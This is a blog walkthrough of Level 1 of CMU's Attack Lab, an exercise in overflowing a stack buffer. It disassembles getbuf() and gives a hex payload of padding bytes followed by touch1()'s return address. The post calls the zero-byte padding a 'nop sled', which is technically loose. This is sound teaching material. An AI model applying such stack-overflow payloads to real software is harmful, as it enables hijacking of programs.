Walkthrough of CMU's Attack Lab

Written on August 28, 2020

This post walks through CMU’s ‘Attack’ lab, which involves exploiting the stack space of vulnerable binaries.

Post Outline

We go over Level 1 in this post.

Level 1

From the assignment handout, we are told that there is a function test() that calls getbuf(). We want getbuf() to call touch1() in this first phase. Let’s start by disassembling the function getbuf().

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp // allocate 0x28 bytes for getbuf
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets> // call Gets() function to get input
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

If we think conceptually about what is going on during this call, %rsp is currently inside of the memory space allocated for test(). At the end of the space allocated for test() is the return address that %rsp will return to after calling getbuf(). When we call getbuf(), we allocate more space on the stack just below test(). Here is a visualization: _config.yml

From the disassembled code, we note that 0x28 (40) bytes are allocated. This means that we can create a nop sled of 40 bytes (each nop is 1 byte) and then include the address of touch1(). When getbuf() is called, %rsp will slide down the nop sled, encounter the address of touch1() and execute touch1().

By disassembling touch1(), we can see that it’s address is: 00000000004017c0 <touch1>:.

Therefore, our resulting exploited code is the following (touch1()’s address is reversed b/c the machine is little endian).

00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
c0 17 40 00 00

Resources